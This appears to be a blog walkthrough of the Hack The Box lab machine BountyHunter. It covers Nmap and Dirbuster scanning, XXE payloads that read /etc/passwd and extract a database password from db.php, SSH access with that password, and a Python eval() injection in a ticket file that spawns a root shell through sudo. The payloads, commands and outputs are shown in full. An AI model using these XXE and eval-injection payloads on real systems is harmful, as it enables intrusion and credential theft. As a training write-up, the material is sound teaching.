BountyHunter Writeup / Walkthrough Hack the box

TL;DR

This is a walkthrough writeup on BountyHunter which is a Linux box categorized as easy on HackTheBox. The initial foothold was gained by discovering and exploiting XXE vulnerability, meanwhile the privilege escalation part was interesting and required us to do some basic code analysis. This was my first ever Active Box which I rooted, so I was quick on releasing a writeup on it πŸ€—

Walkthrough

BountyHunter Writeup: Scanning Network

Running the usual Nmap port scan :

Command used --> nmap -n -Pn -A -sC -sV -v -oN nmap.initial 10.10.11.100
Increasing send delay for 10.10.11.100 from 0 to 5 due to 148 out of 493 dropped probes since last increase.
Nmap scan report for 10.10.11.100
Host is up (0.26s latency).
Not shown: 998 closed ports

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters

No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

We gotta deal with :
port 80 : web-server
port 22 : SSH

Web Enumeration

Visiting the website on the browser –>

/index.php
/portal.php
BountyHunter Writeup
/log_submit.php

BountyHunter Writeup :log_submit.php

We can fill this Bounty Report System form with the bug info and submit it.
On, submitting the form the details are reflected back on the webpage… Huhh, interesting..Let’s come back to this later.

BountyHunter Writeup

Running a Dirbuster scan

We found some interesting files on running a Dirbuster scan : db.php, /resources/README.txt

DirBuster 1.0-RC1 - Report

http://10.10.11.100:80
--------------------------------
Directories found during testing:

Dirs found with a 200 response:

/
/resources/

Dirs found with a 403 response:

/assets/
/css/
/icons/
/assets/img/
/assets/img/portfolio/
/js/
/icons/small/


--------------------------------
Files found during testing:

Files found with a 200 responce:

/index.php
/portal.php
/assets/img/avataaars.svg
/resources/jquery.easing.min.js
/resources/bootstrap.bundle.min.js
/resources/jquery.min.js
/resources/README.txt
/js/scripts.js
/log_submit.php
/resources/bountylog.js
/resources/lato.css
/resources/bootstrap_login.min.js
/resources/monsterat.css
/resources/jquery_login.min.js
/resources/all.js
/db.php


--------------------------------

Browsing the contents of these file,s we got some interesting finds.

Browsing db.php gave us nothing but a blank page.

/resources/README.txt did reveal a tasks checklist

BountyHunter Writeup
Tasks:

[ ] Disable 'test' account on portal and switch to hashed password. Disable nopass.
[X] Write tracker submit script
[ ] Connect tracker submit script to the database
[X] Fix developer group permissions

Going Burrrrp !

While intercepting the web requests in BurpSuite, we saw that in the POST request that was sent on submitting the “Bounty Report form”, there was some encoded data being sent in that POST request.

BountyHunter Writeup

Decoding this data string in the following sequence Data β€”> URL β€”> base64, (if you are wondering about how I thought about this., it was just hit and trial for me πŸ˜‰), we saw that the form data was being sent in XML format.

BountyHunter Writeup
decoding data
Encoded data= 
PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5yY2UgdmlhIHh4ZTwvdGl0bGU%2BCgkJPGN3ZT42OTY5PC9jd2U%2BCgkJPGN2c3M%2BNTwvY3Zzcz4KCQk8cmV3YXJkPjEwMDwvcmV3YXJkPgoJCTwvYnVncmVwb3J0Pg%3D%3D
Decoded Data=

<?xml  version="1.0" encoding="ISO-8859-1"?>
		<bugreport>
		<title>rce via xxe</title>
		<cwe>6969</cwe>
		<cvss>5</cvss>
		<reward>100</reward>
		</bugreport>

There might be some potential for XXE.. Let’s try it then πŸ™‚

XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application’s processing of XML data. It often allows an attacker to view files on the application server filesystem, and to interact with any back-end or external systems that the application itself can access.

source – What is XXE (XML external entity) injection?


BountyHunter Writeup: Intial Foothold (Exploiting XXE)

Refer to this for XXE payloads -> PayloadsAllTheThings/XXE Injection

Using the payload <!DOCTYPE title [<!ENTITY cmd SYSTEM 'file:///etc/passwd'>]>

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE title [<!ENTITY cmd SYSTEM 'file:///etc/passwd'>]>
		<bugreport>
		<title>rce via xxe</title>
		<cwe>6969</cwe>
		<cvss>5</cvss>
		<reward>100</reward>
		</bugreport>

Then encoding it in the reverse sequence xml-data β†’ base64 β†’ URLencode . Then sending this request.

BountyHunter Writeup

BOOM! We can successfully read the /etc/passwd file means we have XXE !

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
development:x:1000:1000:Development:/home/development:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin

Nice, we have a user development except the root user. Further, I tried to get more files, like

/home/development/user.txt
/home/development/.ssh/id_rsa
/var/www/html/db.php

But I wasn’t able to view them, also i wasn’t able to perform code execution using the expect php module.

<!DOCTYPE title [<!ENTITY cmd SYSTEM 'expect://id'>]> but that too didn’t work.


Eventually, I tried to retrieve files using php base64 filter. (another cool way to circumvent file retrieval hinderance)

<!DOCTYPE title [<!ENTITY cmd SYSTEM 'php://filter/convert.base64-encode/resource=index.php'>]>

Trying to view the db.php file (the one we found during web enumeration)

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE title [<!ENTITY cmd SYSTEM 'php://filter/convert.base64-encode/resource=db.php'>]>
		<bugreport>
		<title>&cmd;</title>
		<cwe>6969</cwe>
		<cvss>5</cvss>
		<reward>100</reward>
		</bugreport>
BountyHunter Writeup
Response with base64 encoded filedata
Base64 encoded content of db.php in the responce :

PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo=

Decoding this as Base64 we get β€”>

<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>

Yayy! We got the creds. Using them on SSH for user root & admin didn’t work.

But remember we got a user named development in the /etc/passwd file. so lets try the obtained password for this user on SSH.

BountyHunter Writeup
SSH as development

And there we have our user shell ^_^

BountyHunter Writeup : User Flag β›³

[email protected]:~$ cat user.txt 
df63624da724e953e2120e8efa272649

Privilege Escalation

Another file, contract.txt, was in the /home/development which says β†’

[email protected]:~$ cat contract.txt 
Hey team,

I'll be out of the office this week but please make sure that our contract with Skytrain Inc gets completed.

This has been our first job since the "rm -rf" incident and we can't mess this up. Whenever one of you gets on please have a look at the internal tool they sent over. There have been a handful of tickets submitted that have been failing validation and I need you to figure out why.

I set up the permissions for you to test this. Good luck.

-- John

Checking sudo permissions on user development

[email protected]:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

On further enumeration, we found ticket_validator.py program which we have the permission to run as root. And we also got some invalid tickets, which have the following format –>

[email protected]:~$ cd /opt

[email protected]:/opt$ cd skytrain_inc/

[email protected]:/opt/skytrain_inc$ ls -al
total 16
drwxr-xr-x 3 root root 4096 Jul 22 11:08 .
drwxr-xr-x 3 root root 4096 Jul 22 11:08 ..
drwxr-xr-x 2 root root 4096 Jul 22 11:08 invalid_tickets
-r-xr--r-- 1 root root 1471 Jul 22 11:08 ticketValidator.py

[email protected]:/opt/skytrain_inc$ cd invalid_tickets/

[email protected]:/opt/skytrain_inc/invalid_tickets$ ls -al
total 24
drwxr-xr-x 2 root root 4096 Jul 22 11:08 .
drwxr-xr-x 3 root root 4096 Jul 22 11:08 ..
-r--r--r-- 1 root root  102 Jul 22 11:08 390681613.md
-r--r--r-- 1 root root   86 Jul 22 11:08 529582686.md
-r--r--r-- 1 root root   97 Jul 22 11:08 600939065.md
-r--r--r-- 1 root root  101 Jul 22 11:08 734485704.md

[email protected]:/opt/skytrain_inc/invalid_tickets$ cat 390681613.md 
# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
**31+410+86**
##Issued: 2021/04/06
#End Ticket

Python Code Analysis

Going ahead and examining the ticketValidator.py python code.

def load_file(loc):           
    if loc.endswith(".md"):
        return open(loc, 'r')   
    else:       
        print("Wrong file type.")
        exit()
    
def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()

Execution

[email protected]:/opt/skytrain_inc$ cat ./invalid_tickets/390681613.md 
# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
**31+410+86**
##Issued: 2021/04/06
#End Ticket

[email protected]:/opt/skytrain_inc$ python3 ticketValidator.py 
Please enter the path to the ticket file.
./invalid_tickets/390681613.md
Destination: New Haven
Invalid ticket.

[email protected]:/opt/skytrain_inc$

Explaination

So, this code takes in a ticket file with a .md file extension and performs validation on it.
The code snippet of interest to us is β€”>

if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False

It is examining the following line 4 of the ticket.md fileβ€”>

**31+410+86**

The code checks for the following to validate the ticket β€”

Action 1 : If the line starts with “**”, continue.

Action 2 :Splits the string by considering “+” as the delimitter, takes the first part at index 0 and replaces “**” with nothing (basically removes it), and stores it as ticketcode.

**31+410+86**  -->  [**31,410,86**]  -->  **31
ticketcode = 31

Action 3 : If this ticketcode satisfies ticketcode% 7 ==4, then continue.

31 % 7 == 3
condition check : false
so this particular ticket is labelled as invalid.

Although, for the sake of understanding the next check, let us assume that this condition check was passed πŸ™„

Action 4 : Remove the “**” from the original string and evaluate value of the expression.

**31+410+86**  -->  (31+410+86)
eval(31+410+86) = 527
527 > 100

condition check : true
Now, the ticket has passed all checks and it will be labelled as Valid.

If the result of this evaluated expression is > 100 then return True.


eval() exploit

Now eval() function in Python is vulnerable. This function will also execute the python code given to it. In this case the input it takes is not being sanitized, so we can provide malicious python code to it, spawning a root shell (cause we have the permission to run this program as root). Read more about it here.

Now I used the following string, which satisfies all the conditions in order for the eval() function to execute the code and spawn a shell.

** 32 + 1 == 33 and __import__('os').system('/bin/bash')==False

As this string satisfies all the conditions from 1 to 3 which are required to be satisfied in order to execute the eval() function, let’s create a ticket.md file with this content in the /tmp directory (as we have write permissions in this), and run ticketValidator.py on it

# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
** 32 + 1 == 33 and __import__('os').system('/bin/bash')==False
##Issued: 2021/04/06
#End Ticket
[email protected]:/opt/skytrain_inc$ cd /tmp

[email protected]:/tmp$ echo "# Skytrain Inc
> ## Ticket to New Haven
> __Ticket Code:__
> ** 32 + 1 == 33 and __import__('os').system('/bin/bash')==False
> ##Issued: 2021/04/06
> #End Ticket" > ticket.md

Root Flag β›³

Executing ticketValidator.py as root.

[email protected]:/tmp$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/tmp/ticket.md
Destination: New Haven

[email protected]:/tmp# whoami
root

[email protected]:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

[email protected]:/tmp# cat /root/root.txt
2rfs7*************************

Yayyy, we have successfully rooted BountyHunter πŸ™‚


Until next time, do checkout other informative writeups and blogs here.

Posts created 3

One thought on “BountyHunter Writeup / Walkthrough Hack the box

Leave a Reply

Your email address will not be published. Required fields are marked *

Related Posts

Begin typing your search term above and press enter to search. Press ESC to cancel.

Back To Top